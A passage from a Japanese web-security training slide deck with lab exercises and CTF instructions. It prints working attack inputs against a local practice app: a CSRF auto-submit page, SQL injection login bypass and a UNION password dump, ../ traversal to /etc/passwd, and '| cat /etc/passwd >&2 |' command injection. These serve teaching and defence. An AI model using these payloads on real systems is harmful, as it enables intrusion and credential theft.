104. 演習解説 演習解説：IDORを悪用した攻撃 3-2. 【発展】curlを使って3-1.と同様のことをやってみましょう ① 開発者ツールのNetworkタブを開きながら、3-1の①〜⑤の操作を行う ③ ②のリクエストについてHeadersやPayloadのタブを確認 /posts/:idへのPOSTリクエスト 確かに編集内容を送っていそう ② 3-1の④の操作の時に行われた操作の詳細を確認 ④ ①の画面から操作を右クリックし、Copy as cURL を選択 103
105. 演習解説 演習解説：IDORを悪用した攻撃 3-2. 【発展】curlを使って3-1.と同様のことをやってみましょう ⑦ 修正したコマンドをコピーし、ターミナルから送信 ⑤ ④でコピーしたコマンドを適当なエディタに貼り付ける ⑥ 投稿のID部分を他人のものに差し替える ⑧ ページを更新すると反映が確認できる 104
106. 演習解説 演習解説：IDORを悪用した攻撃 3-3. 【発展】Burp Suiteを使って3-1.と同様のことをやってみましょう ① BurpSuite Community Edition を起動 ② Nextを選択 105 ③ Start Burpを選択
107. 演習解説 演習解説：IDORを悪用した攻撃 3-3. 【発展】Burp Suiteを使って3-1.と同様のことをやってみましょう ④ Proxyタブを開く ⑤ Open browserを押す ⑥ ブラウザが開くので http://localhost:5000/posts にアクセス ⑦ アクセス時に以下のような表示が出た場合は 許可を選択 106
108. 演習解説 演習解説：IDORを悪用した攻撃 3-3. 【発展】Burp Suiteを使って3-1.と同様のことをやってみましょう ⑧ ⑥のブラウザで3-1の①〜③までの手順を行う ⑨ Intercept off ボタンを押し、onにする ⑪ ⑨の画面に⑩の操作により送信されるリクエストが表示される ⑩ 投稿ボタンを押す /posts/:idへのPOSTリクエスト 日本語はエンコードされているけど本文に見える 107
109. 演習解説 演習解説：IDORを悪用した攻撃 3-3. 【発展】Burp Suiteを使って3-1.と同様のことをやってみましょう ⑬ Forwardボタンを押す ⑭ 以降のリクエストは編集不要なのでInterceptをoffにする ⑫ 投稿のID部分を他人のものに差し替える ⑮ ページを更新すると反映が確認できる 108
110. 演習解説 演習解説：IDORを悪用した攻撃 【Burp Suiteの補足: リクエストの履歴確認方法】 ⑯ BurpSuiteの画面でHTTP historyを選択 ⑰ #を押し、降順に並べる ⑱ 適当なリクエストをクリック BurpSuiteから開いたブラウザで発生した通信が 全て記録されています！ そのリクエストやレスポンスの 通信内容が表示される この機能は何に使うの? あとからブラウザでの通信内容を確認するため ブラウザの開発者ツールと違い ページが遷移しても連続して保存されるので便利 109 →以降はBurpsuiteのブラウザの使用を前提として進めます
111. 非公開 110
112. 非公開 111
113. IDORの原理 投稿ごとにIDを割り当ててサーバー側で識別 編集対象の投稿をリクエスト時にIDで指定 ID: 1の投稿を更新するリクエスト POST /posts/1 Aさんが自身の 投稿（ID: 1）を更新 comment=今日はいい天気☀ ID: 2の投稿を更新するリクエスト POST /posts/2 攻撃者が自身の 投稿（ID: 2）を更新 112 comment=こんにちは！ 投稿1 Aさん 「今日はいい天気☀」 投稿2 攻撃者 「こんにちは」
114. IDORの原理 投稿1 Aさん 「私はお金持ちです！」 ID: 2の投稿を更新するリクエスト 投稿2 POST /posts/1 攻撃者が自身の 投稿（ID: 2）を更新 113 comment=私はお金持ちです！ 他人の投稿IDに 変更して更新 攻撃者 「こんにちは」
115. CSRF (Cross-Site Request Forgery) 114
116. 演習4：CSRFを悪用した攻撃 (実施時間: 20分) 4-1. サービスにログイン中の他ユーザーがクリックするだけでユーザーが 削除されてしまうURLを作ってください 4-2. 4-1.のようにリンクをクリックするだけで削除される挙動はなぜ 問題だと考えられるでしょうか？ （どのような状態からのリクエストなら問題ないかも合わせて考えてみましょう） 4-3. 【発展】サービスにログイン中の他のユーザーが開くだけで、意図し ない投稿をさせられる罠ページを作ってみましょう 115
117. 演習4：CSRFを悪用した攻撃 (実施時間: 20分) 演習解説 4-1. サービスにログイン中の他ユーザーがクリックするだけでユーザーが 削除されてしまうURLを作ってください ① http://localhost:5000/profile にアクセス ③ 確認画面等なしにユーザーが削除されることを確認 ② 「ユーザーを削除」を押す 116
118. 演習解説 演習4：CSRFを悪用した攻撃 (実施時間: 20分) 4-1. サービスにログイン中の他ユーザーがクリックするだけでユーザーが 削除されてしまうURLを作ってください ④ BurpSuiteで②の操作の際のリクエストを確認すると、/leaveリクエストがある ⑤ 適当なユーザーを作成し、http://localhost:5000/leave にアクセス そのまま /login ページにリダイレクト この処理だけで削除が行われていそう Cookieのセッションでユーザーを識別 117 ⑥ ログインの失敗を確認 → 4-1の回答は http://localhost:5000/leave
119. 演習4：CSRFを悪用した攻撃 (実施時間: 20分) 4-2. 4-1.のようにリンクをクリックするだけで削除される挙動はなぜ 問題だと考えられるでしょうか？ （どのような状態からのリクエストなら問題ないかも合わせて考えてみましょう） 【この挙動が問題である理由】 ユーザーの意図しない操作で、サービスに変更が行われてしまう可能性があるため。 例えば、外部のサイトに削除URLへのリンクを設置したとしても、 クリックするだけで削除が実行されてしまう。 【どのようなリクエストなら問題ないか】 ユーザーの意図した操作のみ実行可能とするため、 「正規の画面から操作されたものか」確認できている リクエストのみを処理するべきである。 118 演習解説
120. 演習解説 演習4：CSRFを悪用した攻撃 (実施時間: 20分) 4-3. 【発展】サービスにログイン中の他のユーザーが開くだけで、意図し ない投稿をさせられる罠ページを作ってみましょう ① 以下のHTMLを test.html として適当な場所に保存 <!DOCTYPE html> <html lang="ja"> <head> <meta charset="UTF-8"> </head> <body> <form action="http://localhost:5000/posts" method="post" id="x"> <input type="hidden" name="url" value="https://recruit.co.jp"> <input type="hidden" name="comment" value="意図しない投稿"> </form> <script> window.x.submit() </script> </body> </html> ② ①の保存先ディレクトリでターミナルを起動し、 python3 ‒m http.server 8000 を実行 119 ③ http://localhost:8000/test.htmlにアクセス ④ 遷移先のページで意図しない投稿を確認できる
121. 非公開 120
122. なぜ、攻撃者のサイト経由でもログインが必要な処理を実行できたの？ ブラウザが、アクセス先のサイト用に保存しているCookie（セッションID）を、攻撃者のサイト 経由でアクセスした場合でも自動的に送信していたため Cookieは遷移元のページに関わらず、リクエスト先のドメインのものが自動で付与される 攻撃者の罠サイトにアクセス https://evil.example.com ユーザーhoge https:// .jpへ のリンクやフォームを含むページ vulnmarkerに ログイン済み (セッションIDの Cookieがある) .jp 記事投稿などのログインが必要な機能にアクセス 私のセッションIDはXXです リクエストに 自動的にCookie付与 121 https:// セッションIDをもとに ログイン状態として処理
123. SQL Injection 122
124. 演習5: SQL Injectionを利用した攻撃 (実施時間: 20分) 5-1. ' や"を入力してみてSQLのエラーが出る箇所を探して、ソースコードから原 因を探ってみましょう（複数箇所あります） 5-2. パスワードを知らないadminユーザーでログインしてみましょう 5-3. 【発展】SQL Injectionを利用して、usersテーブルに格納されている passwordカラムのデータを漏洩させてみましょう ヒント1: UNION句を利用する ヒント2: UNION句では結合元とカラム数を一致させる必要がある 16:45まで 123
125. 演習解説 演習5: SQL Injectionを利用した攻撃 (実施時間: 20分) 5-1. ' や"を入力してみてSQLのエラーが出る箇所を探して、ソースコードから原 因を探ってみましょう（複数箇所あります） エラーの出る箇所は、以下の2箇所でした。 ログインページ http://localhost:5000/login ① いずれかに「'」を入力 検索ページ http://localhost:5000/posts/search ① いずれかに「'」を入力 ② ログイン ③ SQLエラーが表示される 124 ③ SQLエラーが表示される ② 検索
126. 演習5: SQL Injectionを利用した攻撃 (実施時間: 20分) 演習解説 5-1. ' や"を入力してみてSQLのエラーが出る箇所を探して、ソースコードから原 因を探ってみましょう（複数箇所あります） 検索ページ (http://localhost:5000/login) の原因箇所 ① ソースコードを /login で検索しエンドポイントの実装を確認 ② DBの処理と思われる実装を確認。ユーザの入力値を そのままSQLクエリ内に代入している部分を発見 125
127. 演習5: SQL Injectionを利用した攻撃 (実施時間: 20分) 演習解説 5-1. ' や"を入力してみてSQLのエラーが出る箇所を探して、ソースコードから原 因を探ってみましょう（複数箇所あります） 検索ページ (http://localhost:5000/posts/search) の原因箇所 ① ソースコードを /posts/search で検索しエンドポイントの実装を確認 ② DBの処理と思われるselectPostsの実装を確認 (VSCodeであれば Command + 関数名をクリック) 126 ③ selectPosts関数を調査し、ユーザの入力値をそのまま SQLクエリ内に代入している部分を発見
128. 演習5: SQL Injectionを利用した攻撃 (実施時間: 20分) 演習解説 5-2. パスワードを知らないadminユーザーでログインしてみましょう 5-1で調査したソースコードより、赤字の部分に 任意の文字列を差し込めることがわかる passwordの一致判定の部分が 常に条件を満たすようにすればログインできる SELECT id, username, password FROM users WHERE username = '<username>' AND password = '<password>' SELECT id, username, password FROM users ▶ WHERE username = 'admin' AND password = '' OR 1=1 #' 「password = ''」 は真でなくても、 「1=1」は必ず真なので、 「password = '' OR 1=1」は必ず真 127
129. 演習解説 演習5: SQL Injectionを利用した攻撃 (実施時間: 20分) 5-2. パスワードを知らないadminユーザーでログインしてみましょう ① ログインページ http://localhost:5000/login にアクセス ⑤ 適当な投稿を行う ② ユーザー名に admin を入力 ③ パスワードに ' OR 1=1 # を入力 ④ ログイン 128 ⑥ adminとして 投稿されたことを確認
130. 演習5: SQL Injectionを利用した攻撃 (実施時間: 20分) 5-3. 【発展】SQL Injectionを利用して、usersテーブルに格納されている passwordカラムのデータを漏洩させてみましょう ヒント1: UNION句を利用する ヒント2: UNION句では結合元とカラム数を一致させる必要がある 5-1で調査したソースコードより、赤字の部分に 任意の文字列を差し込めることがわかる (urlのみを入力した場合) SELECT id, comment, <中略> FROM posts LEFT JOIN users <中略> WHERE urls.url LIKE '%<入力可能>%' ORDER BY posts.created̲at DESC 129 ← usersテーブル自体は読み込まれている ←ここで何らかの形でpasswordカラムを 取得するようにしたい 演習解説
131. 演習解説 演習5: SQL Injectionを利用した攻撃 (実施時間: 20分) 5-3. 【発展】SQL Injectionを利用して、usersテーブルに格納されている passwordカラムのデータを漏洩させてみましょう ヒント1: UNION句を利用する ヒント2: UNION句では結合元とカラム数を一致させる必要がある ヒントを元にUNION句の活用を考えると、 5-1で調査したソースコードより このクエリは12個のカラムが必要とわかる このカラムの中で検索結果として表示される部分に usernameとpasswordの組み合わせを表示するクエリを作る %' UNION SELECT ▶ 1, password,1,username,1,1,1,1,1,1,1,1 FROM users; # comment の部分に、password username の部分に、username その他はカラム数の一致のため1で埋める comment username 130 表示に使うカラムは画面上に表示される要素から適当に選択
132. 演習5: SQL Injectionを利用した攻撃 (実施時間: 20分) 演習解説 5-3. 【発展】SQL Injectionを利用して、usersテーブルに格納されている passwordカラムのデータを漏洩させてみましょう ① 検索ページ http://localhost:5000/posts/search にアクセス ② いずれかに以下のクエリを入力 ③ 検索 %' UNION SELECT 1, password,1,username,1,1,1,1,1,1,1,1 FROM users; # 131 ④ 通常の検索結果の後までスクロールすると、 全員のusernameとpasswordが表示されている UNIONにより 元の検索結果にパスワードの行が追加された！
133. 非公開 132
134. SQL Injectionの原理 Webアプリケーションではデータの保存にデータベース（DB）が利用されることが多い DBの操作に応じて 発行するSQLクエリを組み立て コメントに"hoge"が 含まれる投稿を検索 "hoge"を含むコメントを DB検索する処理 SELECT * FROM users WHERE comment LIKE '%hoge%' 検索結果のレコード Webサーバー 133 DBサーバー
135. SQL Injectionの原理 ユーザーの入力を利用するSQLクエリ SELECT * FROM users WHERE comment LIKE '%ユーザーの入力%' 「'」で囲われた部分は文字列として解釈 134
136. SQL Injectionの原理 ユーザーの入力を利用するSQLクエリ SELECT * FROM users WHERE comment LIKE '%ユーザーの入力%' 「'」で囲われた部分は文字列として解釈 ユーザーの入力の途中に「'」が含まれていたら・・・？ SELECT * FROM users WHERE comment LIKE '%' UNION SELECT * FROM users;-- '%' ここで文字列としては終わり 文字列ではない部分として解釈される 好きなクエリ文を追記できる 135
137. SQL Injectionによる攻撃例 情報漏えい UNION句を利用してレスポンスから情報取得 Blind SQL Injection 条件式を利用したエラー応答から情報取得する Error-based SQL Injection 条件式を利用したSLEEPから情報取得する Time-based SQL Injection DoS SLEEP句の利用による処理の遅延 利用しているDBサーバーの種類や権限によっては、任意コード実行やファイル読み取りも可能に 136
138. Path Traversal 137
139. 演習6: Path Traversalを悪用した攻撃 (実施時間: 15分) 6-1. サーバーに設置されたファイルをダウンロードする処理が含まれるエ ンドポイントをソースコード中から探してみましょう 6-2. ファイルダウンロードのURLのパラメータを細工して、サーバーの /etc/passwd の内容を取得してみましょう 138
140. 演習解説 演習6: Path Traversalを悪用した攻撃 (実施時間: 15分) 6-1. サーバーに設置されたファイルをダウンロードする処理が含まれるエ ンドポイントをソースコード中から探してみましょう ① 「fastify.get」でソースコード中を文字列検索 ③ ファイルをダウンロードする処理であることを確認 ② 名前からファイル関連と思われる /uploads を選択 特定のファイルを取得 fastifyでエンドポイントが管理されている ダウンロード処理は取得なのでGETの可能性が高い 139 ファイルを送信
141. 演習6: Path Traversalを悪用した攻撃 (実施時間: 15分) 演習解説 6-2.ファイルダウンロードのURLのパラメータを細工して、サーバーの /etc/passwd の内容を取得してみましょう ① ダウンロードの際にどのファイルパスを参照しているか調査 filePathの後半部分は 「path」クエリパラメータでユーザーが設定可能 filePathにあるファイルを取得している → パスの後半を変更により /etc/passwd にアクセスする方法を考える 140
142. 演習6: Path Traversalを悪用した攻撃 (実施時間: 15分) 演習解説 6-2.ファイルダウンロードのURLのパラメータを細工して、サーバーの /etc/passwd の内容を取得してみましょう パスの後半部分の変更で任意のパスにアクセスするにはどうすればいいの? 1つ上の階層に戻る「..」ディレクトリを活用し ルートディレクトリまで上がった上で好きなディレクトリを指定すれば良い ② http://localhost:5000/uploads?path=../../../../../../../../../../../../etc/passwd にアクセス ④ 以下のようなテキストファイルが取得できていることを確認 ③ ダウンロードされたファイルを開く 141
143. 他サービスで発見されたPath Traversal GitLab ファイルアップロード・ダウンロード処理に不備があり、 サーバー上の任意のファイルを取得できた https://hackerone.com/reports/827052 142
144. Path Traversalの原理 ファイルアップロード・ダウンロード機能の実装 （例：プロフィール画像の取得、CSVデータの入稿など） 保存先や読み出し元のディレクトリを決定する際にユーザーの入力を利用 "/app/uploads/" + filename filename中に"../"を含めたパスを指定すると・・・ 143
145. Path Traversalの原理 ファイルアップロード・ダウンロード機能の実装 （例：プロフィール画像の取得、CSVデータの入稿など） 保存先や読み出し元のディレクトリを決定する際にユーザーの入力を利用 "/app/uploads/" + filename filename中に"../"を含めたパスを指定すると・・・ "/app/uploads/../../../etc/passwd" 読み出すファイルが /etc/passwd になってしまう 144
146. Path Traversalによる攻撃例 任意のコード実行 .phpや.jspの配置によるサーバー上でのコードの実行 サーバー上の任意のファイル・情報の読み取り ログファイルの取得 サーバーの構成情報取得 環境変数の取得 145
147. DoS (Denial-of-Service) 146
148. DoSの実例 プロフィール画像設定時に切り抜き処理のコマンドが実行されている ピクセル数が多い画像を生成してアップロード 例）1000億ピクセルのpng画像を生成 $ vips black black.png 1000000 1000000 --bands 3 → 切り抜き処理で膨大なCPUリソースを消費 147
149. 非公開 148
150. DoSの原因例 繰り返し処理の実装ミス 回数の上限が制限が無い ファイルの取り扱い サイズ制限が無い、リソースの開放忘れ 回復不能な例外 メモリの領域外アクセスが発生するバグによるプロセスのクラッシュ 149
151. OS Command Injection 150
152. 演習7: OS Command Injectionを悪用した攻撃 (実施時間: 20分) 7-1. 画像アップロードのフォームのサイズが指定されている部分を"|ls|"に変更 して、ファイルをアップロードしてみましょう 7-2. ソースコードを参照して7-1.でのエラーが起きた原因をソースコードから探 してみましょう 7-3. 【発展】実行したコマンドによる出力結果をユーザーが閲覧する方法を探 してみましょう ヒント1: ページ上のエラーには標準エラーに出力される内容が表示されます ヒント2：ls>&2 で出力を標準エラーに流すことができます 151
153. 演習7: OS Command Injectionを悪用した攻撃 演習解説 7-1. 画像アップロードのフォームのサイズが指定されている部分を"|ls|"に変更 して、ファイルをアップロードしてみましょう ① http://localhost:5000/profile にアクセス ④BurpSuiteのInterceptをonにする ② プロフィール画像のファイルを選択 ③ 適当な画像を選択 ⑤ プロフィールを更新 152
154. 演習7: OS Command Injectionを悪用した攻撃 演習解説 7-1. 画像アップロードのフォームのサイズが指定されている部分を"|ls|"に変更 して、ファイルをアップロードしてみましょう ⑧ Interceptをoffにする ⑦ Forwardする ⑨ ブラウザにコマンド実行のエラーが表示される ⑥ リクエスト内のwidthの項目の値を「|ls|」に変更 コマンド実行時のエラーメッセージが表示されるということは？ リクエストを書き換えてOSコマンドを実行できる場合 エラーに出力すれば実行結果を読み取れる！ 153
155. 演習解説 演習7: OS Command Injectionを悪用した攻撃 7-2. ソースコードを参照して7-1.でのエラーが起きた原因をソースコードから探 してみましょう 今回の入力の入り口である POST /profile リクエストから辿っていきましょう ① ソースコードからPOSTの/profileリクエストを検索 ②エンドポイントの実装を調査(つづき) ②エンドポイントの実装を調査 フォームから入力した情報が同名の変数に代入 154 exec(OSコマンドを実行する関数)の中で widthやheightの変数が使われている → OSで実行されるコマンドの中に 任意のコードを入力できる状態
156. 演習7: OS Command Injectionを悪用した攻撃 演習解説 7-3. 【発展】実行したコマンドによる出力結果をユーザーが閲覧する方法を探してみましょう ヒント1: ページ上のエラーには標準エラーに出力される内容が表示されます ヒント2：ls>&2 で出力を標準エラーに流すことができます 【コマンドを実行する方法】 7-2.で調査したソースコードより、赤字の部分に任意の文字列を差し込めることがわかる convert ${tmpSavePath} -gravity center -resize <width>x<height>^ -crop 1:1 ${savePath} ▶ 7-1. で分かった、エラー出力が閲覧できることも踏まえると以下が有効 convert ${tmpSavePath} -gravity center -resize | 実⾏したいコマンド >&2 | x^ -crop 1:1 ${savePath} 155
157. 演習解説 演習7: OS Command Injectionを悪用した攻撃 7-3. 【発展】実行したコマンドによる出力結果をユーザーが閲覧する方法を探してみましょう ヒント1: ページ上のエラーには標準エラーに出力される内容が表示されます ヒント2：ls>&2 で出力を標準エラーに流すことができます 【実行の例】 7-1. の手順⑨にて、 実行したコマンドの内容が表示される 7-1. と同様に進め、手順⑥で | cat /etc/passwd >&2 | を入力 156
158. 非公開 157
159. OS Command Injectionの原理 コマンドを実行する際の一部の値にユーザーの入力を利用する実装 Linuxでシェル機能を有効にしたコマンド実行の場合（例：child̲process.exec） シェルスクリプトの構文が利用できる convert input.png -gravity center -resize 200xユーザーの入力値^ -crop 1:1 output.png |を含めた「ユーザーの入力値」を指定すると・・・ 158
160. OS Command Injectionの原理 コマンドを実行する際の一部の値にユーザーの入力を利用する実装 Linuxでシェル機能を有効にしたコマンド実行の場合（例：child̲process.exec） シェルスクリプトの構文が利用できる convert input.png -gravity center -resize 200xユーザーの入力値^ -crop 1:1 output.png |を含めた「ユーザーの入力値」を指定すると・・・ convert input.png -gravity center -resize 200x|ls|^ -crop 1:1 output.png 1つ目のコマンド 2つ目のコマンド 3つ目のコマンド ユーザーの指定したコマンドが実行されてしまう 159
161. OS Command Injectionの実装例 コマンドを実行する関数にユーザー入力を利用するケース （文字列結合など） 160 PHP: system("ユーザーの入力") exec("ユーザーの入力") passthru("ユーザーの入力") Java: Runtime.getRuntime().exec("ユーザーの入力") Node.js: child̲process.spawn("ユーザーの入力") child̲process.exec("ユーザーの入力") Ruby: exec("ユーザーの入力") system("ユーザーの入力")
162. 脆弱性を発見しよう(CTF) 161
163. 演習概要 今回は「CTF」と呼ばれる形式でチームごとの演習 CTFとは？ Capture The Flag 専門知識や技術を駆使して隠されているFlag（秘密の文字列）を見つけ出し、 時間内に獲得した合計得点を競うハッキングコンテスト チームごとに獲得したポイントを競う 162
164. 非公開 163
165. 問題について 問題は2種類 164 攻撃（Attack） 防御（Defense） 脆弱性を悪用して秘密のFlagを 取得・送信することで ポイントを獲得できる問題 悪用可能な脆弱性を修正し、 リポジトリにコミット 講師に確認をしてもらうことで ポイントを獲得できる問題 AIは使用せずに考えてください AIは自由に利用できます
166. 演習の進め方 üチーム内で分からない人がいれば教え合うなど、 互いに助け合いながら進めてください üサーバーに接続できないなどのトラブル時はSlackでメンション （@pdo-fye0327-prd-security-tutors） を付けて講師に知らせてください サーバーリセットなどの対応を行います ü「仕様や実装に対し思考する習慣」を実際の体験を通して身につけてもらうた め、攻撃の問題では、AIの利用は禁止です。 防御の問題についてはAIを利用していただいて構いません。 üその他、会社のルールや法律を守った上であれば、 利用するツールやサイトに制限はありません 165
167. 問題の回答方法 回答の提出や、回答状況の確認を行うためのスコアサーバーを利用します 問題の回答提出 166 獲得したポイントの確認 順位の確認
168. Check1: スコアサーバーへのアクセスとログイン 配布されたスコアサーバーのURLを開く 右上のLoginをクリック ※このサーバーは攻撃対象ではないことに注意 167
169. Check1: スコアサーバーへのアクセスとログイン チームごとに配布されているログイン情報でログイン 168
170. Check1: 問題一覧ページの確認 以下のページが開けることを確認してください ✔ このページが開けたらOK 169
171. 問題文 各問題をクリックすると問題文を確認できます（問題文中のサーバーのURLはチームごとに異なります） 170
172. 問題について ü付与ポイントは下記の通りです attack: 問題により100-200 pts [点数が低い問題ほど簡単になっています] defense(一部問題のみ): 適切な修正が行われている場合: 100 pts 修正が不完全な場合: 50 pts 正しく動かない場合: 0 pts üChallengeごとに番号が振られていますがどの順番で解いても構いません üChallenge内のattackやdefenseにも解くべき順番に指定はありません ü各問題でその問題が解けたチーム数を確認できます 多くのチームが解けた問題の方が難易度が低いかもしれません ü問題が難しいと思ったら無理せず別の問題を解いてみましょう 171
173. 問題の解き方の確認 172
174. Check 1: チュートリアル問題（攻撃編）： 問題の動作確認 1. 問題文中のリンクをクリックして攻撃対象のアプリケーションにアクセス可能なことを確認 2. ユーザーを登録してログインし、プロフィールが表示されるシンプルなWebサイトが表示されることを確認 ログイン画⾯ マイページ ✔ マイページの画面が表示できればOK 173
175. Check 2: チュートリアル問題（攻撃編）：ソースコードの取得 各チームに配布されたリポジトリをクローンして、ソースコードを取得できることを確認 非公開 174
176. アプリケーションとソース・コードから 脆弱性を探してFlagを獲得しよう（攻撃編） 175
177. Flagについて üFlagの形式は問題ごとに指定がない限り、 ctfRED{[¥x20-¥x7E]+} （{}内は表 示可能な1文字以上のASCII文字）です üdummy{…} といったダミーのFlagが表示されることがありますが、本物 ではないことに注意してください ü配布されたソースコード中では、本物のFlagがマスクされています üFlagは送信フォームから何回送信してもポイントが減ることはありませんが、 推測が困難な文字列になっています ü皆さんの進捗具合を確認したいので、Flagはなるべく溜め込まずに提出をお願 いします 176
178. 脆弱性について ü次の脆弱性は今回の攻撃対象ではありません • HTTPを利用して通信している • CookieにSecure属性が付与されていない • DoS攻撃が可能 (dos問題を除く) • ログイン試行回数に制限がない 177
179. チュートリアル問題（攻撃編）：Flagの場所の確認 まずはソースコード中からフラグが表示される場所を探す Docker Composeの設定ファイル 1. Docker Composeの設定ファイルに FLAG環境変数が定義されていることを確認 POINT: 基本的にどの問題も環境変数でフラグを定義しているので 何から始めてよいか分からない時はフラグから逆算するのがおすすめ。 FLAG環境変数が定義 (これはダミーのフラグ。実際のサーバーに は本物のフラグが入っている) fortune/compose.yaml DBの初期データを作成する関数 2. DBの初期データを作成する処理で usersテーブルにおいてadminユーザーを作成し flagカラムにFLAG環境変数を登録していることを確認 178 usersテーブルにadminユーザーを作成 flagカラムにFLAG環境変数の内容を登録 fortune/src/database/seeders/UserSeeder.php
180. チュートリアル問題（攻撃編）：Flagの場所の確認 まずはソースコード中からフラグが表示される場所を探す マイページ画面のHTMLテンプレート 3. マイページ画面のHTMLテンプレートに adminのメールアドレスの場合にフラグ表示する箇所を確認 adminユーザーの場合にフラグを表示 fortune/src/resources/views/user.blade.php 179 → adminのマイページ画面を表示できれば フラグを取得できそう！
181. チュートリアル問題（攻撃編）：脆弱性の発見 フラグが表示される箇所が処理される過程に脆弱性がないか考える 1. マイページ画面のエンドポイントである「/」の実装が UserControllerのindex関数にあることを確認 エンドポイントのルーティング設定ファイル エンドポイントのパスと呼び出す関数の場所が定義 POINT: 怪しい画面やAPIがある場合、脆弱性の特定のため そのエンドポイントの実装を深掘りするのがおすすめ fortune/src/routes/web.php UserControllerクラスのindex関数 2. Index関数において、ユーザーを検索する際に Userのget̲login̲user̲id()関数を使用していることを確認 User::get̲login̲user̲id()よりユーザーIDを取得 ユーザーIDをもとにしてユーザーを検索 fortune/src/app/Http/Controllers/UserController.php 180
182. チュートリアル問題（攻撃編）：脆弱性の発見 フラグが表示される箇所が処理される過程に脆弱性がないか考える エンドポイントのルーティング設定ファイル 3. get̲login̲user̲id()関数にて ユーザーIDを取得する際にリクエストのCookieから user̲idの値を取得していることを確認 user̲id にCookie の値を入れている マイページ画面で開いた開発者ツール 4. Check 4で使ったブラウザの 開発者タブでCookieを確認すると user̲idに値が入っていることを確認 181 user̲id に 「2」の値が入っている
183. チュートリアル問題（攻撃編）：脆弱性の発見 5. 管理者ユーザーはアプリケーションはDBに最初に登録されているユーザーなので、 管理者ユーザーの user̲id は 1 であることが予想できる 開発者ツールからCookieを編集して値を１に変更 182
184. チュートリアル問題（攻撃編）：脆弱性の発見 ブラウザを更新してもう一度リクエストを送信すると・・・Flagが表示された 183
185. Check 3: チュートリアル問題（攻撃編）：フラグ提出 獲得したFlagを問題フォームから提出する 問題が緑色に変化して100 pts獲得 ✔ Fortune (attack) の部分が 緑色になればOK 184
186. 攻撃に利用できた脆弱性を修正してみよう（防御編） 185
187. 修正について ü脆弱性以外の部分の動作はできるだけ保ったままで修正を行ってください ü 元から存在する機能が動かない場合は0pts です ü一気に多くの提出があると確認が大変になるので、修正は随時提出してもらえ ると助かります サブマリン戦法 186
188. Check 4: チュートリアル問題（防御編）: ローカル上での動作確認 1. fortune の問題のあるディレクトリで、以下のDocker Composeコマンドを入力 $ docker compose up ‒d --build 問題サーバーをローカル環境(自分のPC上)で起動 2. http://localhost:8000 にアクセスし、 Check2と同様にユーザー登録やマイページの表示が可能なことを確認 ログイン画⾯ マイページ ✔マイページの画面が表示できればOK 187
189. チュートリアル問題（防御編）: 修正すべき問題の特定 ログイン時のセッションに紐づいたユーザーIDではなく、 リクエスト内で設定した user̲id を利用しているのが問題。 「/」にアクセスした際のリクエスト リクエスト送信時の user̲id を 書き換えるだけで、なりすましが可能 →ログイン時のセッションに紐づいたユーザーIDを使うようにする 188
190. Check 5: チュートリアル問題（防御編）: コードの修正 Cursorに修正指示をして、コードを修正させましょう。 ①セッションからuser̲idを取得するように変更を指示 ②コードが修正されたことを確認 189 ✔ 修正後のコードが生成されたらOK
191. 参考: コードの修正 [AIを使わずにやる場合] user̲idをログイン時にセッションに保存し、参照時はセッションから取得するように修正する。 具体的には、Userクラスの以下2点を修正。 ユーザーID取得処理: get̲login̲user̲id() セッションからuser̲idを取得するように変更 ユーザーID取得時にCookieからuser̲idを読み取っている ログイン処理: login() UserControllerでのUser::login()の呼び出し fortune/src/app/Http/Controllers/UserController.php セッションにuser̲idを保存するように変更 user̲idをCookieに保存している 返り値がCookieに保存されている 190 fortune/src/app/Http/Controllers/UserController.php fortune/src/app/Http/Controllers/User.php ✔ 上記2箇所のコードが修正できたらOK
192. Check 6: ローカル上での動作確認: ローカル上での動作確認 1. Check 3 で 動作させたコンテナを終了 $ docker compose down 2. コンテナを再起動 $ docker compose up ‒d --build ※ docker compose restart コマンドでは再ビルドがされないため、 こちらの手順で再起動してください 3. http://localhost:8000 にアクセスし、以下2点を確認 • ユーザー登録やマイページの表示が可能なこと • Cookieのuser̲idを変えてもマイページの表示に変化がないこと ✔ 上記2箇所のコードが修正できたらOK 191
193. Check 7: チュートリアル問題（防御編）: 修正の提出 bootcamp-review ワークフローにて採点依頼を行ってください ①各チームのチャンネルにて、 Slackのメッセージ入力部分に /bootcamp-review を途中まで入力すると ワークフローが表示されるのでクリックします ②採点依頼の入力フォームが出るので 問題名を選択して送信してください。 ③送信すると「依頼しました」というメッセージが表示されます。 しばらくすると採点者がこのスレッドに採点結果をお返しします。 mainブランチのみが採点対象であることに注意してください ✔ 修正を提出できたらOK! 後は講師の採点をお待ちください
194. スコアサーバー上での獲得ポイントの確認 Scoreboardタブから、各チームが獲得したポイントを確認可能 193
195. 以上でこの後の演習の説明は終了です 最後に・・・
196. 今回の演習の勝者は、 ポイントを最も多く獲得したチーム 195
197. 今回の演習の勝者は、 ポイントを最も多く獲得したチーム ではなく・・・ 196
198. 今回の演習の勝者は、 ポイントを最も多く獲得したチーム ではなく・・・ できるだけ多くのことを学ぶことができたチーム です！ チームの中で協力しあって演習を進めてください 講師陣からのヒントも積極的に活用してください 197
199. Appendix. 198
200. Appendix 1. webhook.siteの使い方 ① https://webhook.site/ にアクセスすると、自動的にURLが発行される 199
201. Appendix 1. webhook.siteの使い方 ② 発行されたURLに対してリクエスト送信 ブラウザでアクセス curlで送信する scriptタグでリクエスト送信 200
202. Appendix 1. webhook.siteの使い方 ③ 発行されたURL宛のHTTPリクエストの中身を確認可能 methodとURL クエリパラメータ リクエストボディ 201 クエリパラメータ
203. Appendix 2. curlコマンドの使い方 ターミナルからHTTPリクエストを送信できるツール # Cookieヘッダを設定してリクエスト $ curl -H 'Cookie: user̲id=1' http://localhost:8000/ # フォームの送信 $ curl -X POST -d 'param=1&param2=hoge' http://example.com/ # ファイルをアップロード $ curl -X POST -F upfile=@/path/to/sample.txt http://example.com/upload 202
204. Appendix 2. curlコマンドの使い方 PythonのHTTPクライアントライブラリ $ python3 -m pip install requests import requests r = requests.get('http://example.com') print(r.text) r = requests.post('http://example.com', data={'param1': 'value1'}, headers={'Cookie': 'hoge=fuga'}) print(r.text) 203
205. Appendix 3. Chrome開発者ツールの使い方 Option + Command + I で起動 「ソース」タブ 現在のページの表示に必要な HTML、JS、CSSを閲覧できる JSの場合には行番号をクリックす ることでブレークポイントを設置 して各変数の値などを確認可能 204
206. Appendix 3. Chrome開発者ツールの使い方 「ネットワーク」タブ ブラウザで発生したリクエスト を閲覧できる 「ログを保持」にチェックを付けることでページ遷移が 発生しても、リクエスト履歴が削除されない 「アプリケーション」タブ 表示しているWebサイトの CookieやlocalStorageの閲覧や編集が可能 205
